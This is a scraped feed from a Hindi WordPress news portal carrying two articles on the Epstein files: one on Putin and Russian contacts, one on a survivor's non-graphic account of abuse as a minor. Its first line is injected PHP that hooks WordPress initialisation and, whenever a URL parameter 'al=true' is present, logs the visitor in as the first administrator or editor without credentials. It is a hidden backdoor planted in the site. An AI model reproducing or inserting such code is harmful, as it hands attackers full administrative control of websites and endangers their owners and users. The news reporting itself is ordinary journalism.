// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Epstein scandal – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 09 Feb 2026 16:15:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 एपस्टीन फाइल्स में पुतिन का नाम! 1005 बार जिक्र, क्या रूसी राष्ट्रपति से हुई थी मुलाकात? https://pratyushaashakinayikiran.com/?p=196660 Mon, 09 Feb 2026 16:15:00 +0000 https://pratyushaashakinayikiran.com/?p=196660 वाशिंगटन
अमेरिकी न्याय विभाग द्वारा हाल ही में जारी जेफ्री एपस्टीन की फाइलों ने दुनिया भर में हलचल मचा दी है। इन लाखों पन्नों के दस्तावेजों में रूसी राष्ट्रपति व्लादिमीर पुतिन का नाम कम से कम 1005 बार आया है। रिपोर्ट के अनुसार, अधिकांश उल्लेख न्यूज क्लिपिंग्स या रिपोर्ट्स से जुड़े हैं जो एपस्टीन को भेजी जाती थीं, लेकिन कुछ ईमेल्स में एपस्टीन की पुतिन से मुलाकात कराने की बार-बार कोशिशों का जिक्र है। हालांकि, इन फाइलों में कहीं भी यह साबित नहीं होता कि दोनों की कभी वास्तविक मुलाकात हुई।

रिपोर्ट के अनुसार, एपस्टीन ने रूसी अधिकारियों, पूर्व राजदूतों और यहां तक कि FSB से जुड़े लोगों से संपर्क बनाने की कोशिश की थी। इस खुलासे के बाद हनीट्रैप और जासूसी की अटकलें तेज हो गई हैं। रिपोर्ट सामने आने के बाद पोलैंड के प्रधानमंत्री डोनाल्ड टस्क ने इसे रूसी खुफिया एजेंसियों से जुड़ा बड़ा घोटाला बताते हुए जांच शुरू करने की घोषणा की है, जबकि क्रेमलिन ने इन दावों को बकवास करार देते हुए खारिज कर दिया है।

रूसी राजदूत से मिलता था एपस्टीन
जारी दस्तावेजों के अनुसार, एपस्टीन न्यूयॉर्क में रूस के पूर्व राजदूत विटाली चर्किन से नियमित रूप से मिलता रहता था। एपस्टीन ने चर्किन के बेटे मैक्सिम को न्यूयॉर्क की एक प्रमुख वेल्थ मैनेजमेंट कंपनी में नौकरी दिलाने का ऑफर भी दिया था। वर्ष 2017 में चर्किन की अचानक मौत के बाद एपस्टीन ने रूस से संपर्क बनाए रखने के लिए नए रास्ते तलाशने शुरू कर दिए। जून 2018 में एपस्टीन ने नॉर्वे के राजनेता थोरबजर्न जागलैंड (जो उस समय काउंसिल ऑफ यूरोप के सेक्रेटरी जनरल थे) को ईमेल किया। इस ईमेल में उसने लिखा कि जागलैंड को पुतिन से सुझाव देना चाहिए कि रूस के विदेश मंत्री सर्गेई लावरोव मुझसे बात करके जानकारी ले सकते हैं। एपस्टीन ने लिखा था कि चर्किन बहुत अच्छे थे, उन्होंने मेरी बातों के बाद ट्रंप को समझ लिया था। जागलैंड ने जवाब में कहा था कि वह लावरोव के असिस्टेंट से मिलकर यह बात पहुंचा देंगे।

रूसी जासूसी और निवेश का कनेक्शन
रिपोर्ट्स के मुताबिक, एपस्टीन के संबंध सर्गेई बेल्याकोव जैसे अधिकारियों से भी थे, जिनके लिंक रूस की खुफिया एजेंसी (FSB) से बताए जाते हैं। वह सेंट पीटर्सबर्ग इंटरनेशनल इकोनॉमिक फोरम में भी शामिल हुआ था और रूसी अधिकारियों को पश्चिमी निवेश लाने की सलाह देता था। रिपोर्ट्स के अनुसार, एपस्टीन ने 2019 तक रूस के वीजा के लिए भी कोशिशें की थीं। हालांकि, इन दस्तावेजों में ऐसा कोई ठोस सबूत नहीं मिला है जिससे यह साबित हो कि एपस्टीन की पुतिन से कभी मुलाकात हुई थी।

पोलैंड के प्रधानमंत्री ने दिए जांच के आदेश
इस खुलासे के बाद पोलैंड के प्रधानमंत्री डोनाल्ड टस्क ने कहा कि उनका देश एपस्टीन के रूसी खुफिया एजेंसियों से संभावित संबंधों की जांच शुरू करेगा। उन्होंने कहा कि वैश्विक प्रेस में मिल रहे बढ़ते सुराग, जानकारी और टिप्पणियां इस संदेह की ओर इशारा करती हैं कि बाल यौन शोषण का यह अभूतपूर्व घोटाला रूसी खुफिया सेवाओं द्वारा सह-आयोजित किया गया था।

इस पर क्या बोला रूस?
दूसरी ओर, रूस की सरकार ने इन दावों को खारिज कर दिया है। क्रेमलिन के प्रवक्ता दिमित्री पेस्कोव ने कहा कि एपस्टीन और रूसी जासूसी के दावों को गंभीरता से नहीं लिया जाना चाहिए। उन्होंने पत्रकारों से कहा कि इस सिद्धांत को किसी भी तरह से लिया जा सकता है, लेकिन गंभीरता से नहीं। उन्होंने कहा कि मुझे ऐसे सिद्धांतों पर बहुत सारे चुटकुले बनाने का मन कर रहा है, लेकिन अपना समय बर्बाद न करें।

 

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सर्वाइवर ने खोला एप्स्टीन की काली दुनिया का पर्दा: ‘हर दिन 10 लड़कियां आती थीं’ https://pratyushaashakinayikiran.com/?p=195201 Tue, 03 Feb 2026 11:26:00 +0000 https://pratyushaashakinayikiran.com/?p=195201 न्यूयॉर्क

दुनिया में अगर सबसे घिनौने अपराधों की बात की जाए, तो एप्स्टीन फाइल का नाम जरूर आता है. जेफ्री एप्स्टीन की काली दुनिया परत दर परत खुल रही है और कई बड़े नाम इस जाल में सामने आते जा रहे हैं. एप्स्टीन का निजी द्वीप लिटिल सेंट जेम्स, जिसे मीडिया एप्स्टीन आइलैंड कहता है, उसके अपराधों का केंद्र था. यहीं नाबालिग लड़कियों को ले जाकर उनका शोषण किया जाता था. अब पीड़िताओं की आवाजें दुनिया तक पहुंच रही हैं, और इन्हीं में से एक हैं मरीना लसेर्डा, जिन्हें 2019 के इंडिक्टमेंट में माइनर विक्टिम-1 कहा गया था.

ब्राजील से न्यूयॉर्क तक, एक बच्ची का डरावना सफर

मरीना ने अपनी कहानी कई वेस्टर्न मीडिया संस्थानों में बताई है. उनका कहना है कि वे ब्राजील से अमेरिका आईं और न्यूयॉर्क में अपनी मां और बहन के साथ एक छोटे कमरे में रहती थीं. परिवार चलाने के लिए चौदह साल की उम्र में तीन नौकरियां कर रही थीं.इसी दौरान एक दोस्त ने उन्हें काम का लालच दिया. 300 डॉलर मिलेंगे… बस एक 'बड़े आदमी' को मसाज देनी है.

वह 'बड़ा आदमी' एप्स्टीन था. उसका न्यूयॉर्क टाउनहाउस मरीना के जीवन का सबसे खतरनाक मोड़ बन गया. पहली मुलाकात में ही मसाज का बहाना यौन शोषण में बदल गया. मरीना इसे 'ड्रीम जॉब से वर्स्ट नाइटमेयर' बताती हैं.

14 से 17 की उम्र. लगातार शोषण और डर

करीब तीन साल तक मरीना एप्स्टीन के जाल में फंसी रहीं.वह उन्हें बार-बार बुलाता था. उनसे और कम उम्र की लड़कियां लाने को कहता था. स्कूल आईडी देखकर उम्र की पुष्टि करता था.एप्स्टीन के घर में रोज़ 5 से 10 लड़कियां आती-जाती थीं.एक बार मरीना 18 साल की लड़की ले आईं, तो वह गुस्से से चिल्लाया-ये तो बहुत बड़ी है.मरीना ने बताया कि उन्होंने एप्स्टीन को डोनाल्ड ट्रंप के साथ कई बार देखा, लेकिन वह कहती हैं कि उनका ध्यान हमेशा अपने ऊपर हो रहे अत्याचार को सहने पर रहता था.

2008 की चुप्पी और 2019 में खुलता सच

2008 में FBI ने मरीना से संपर्क किया था. वह ग्रैंड ज्यूरी के सामने सच बोलने के लिए तैयार थीं, लेकिन एप्स्टीन ने नॉन-प्रोसिक्यूशन एग्रीमेंट कर लिया और मरीना की आवाज उस समय दबा दी गई.मरीना आज भी कहती हैं कि अगर उन्हें 2008 में बयान देने दिया जाता, तो कई लड़कियां आज दर्द से बच सकती थीं.

2019 में जब केस दोबारा खुला, तो मरीना की गवाही एप्स्टीन पर लगे सेक्स ट्रैफिकिंग के आरोपों की रीढ़ साबित हुई. हालांकि एप्स्टीन की मौत जेल में हो गई, लेकिन फाइलें अब भी कई सवालों से घिरी हैं.सितंबर 2025 में मरीना पहली बार सार्वजनिक रूप से सामने आईं. कैपिटल हिल की प्रेस कॉन्फ्रेंस ने दुनिया का ध्यान खींचा. उन्होंने कहा था कि एप्स्टीन फाइलें पूरी तरह जारी करो. आधे सच से न्याय नहीं मिलता.अब 37 साल की मरीना एप्स्टीन सर्वाइवर्स की एक मजबूत आवाज बन चुकी हैं.उनकी लड़ाई सिर्फ अपने लिए नहीं, बल्कि उन सभी लड़कियों के लिए है जिन्हें सालों तक खामोश रखा गया.

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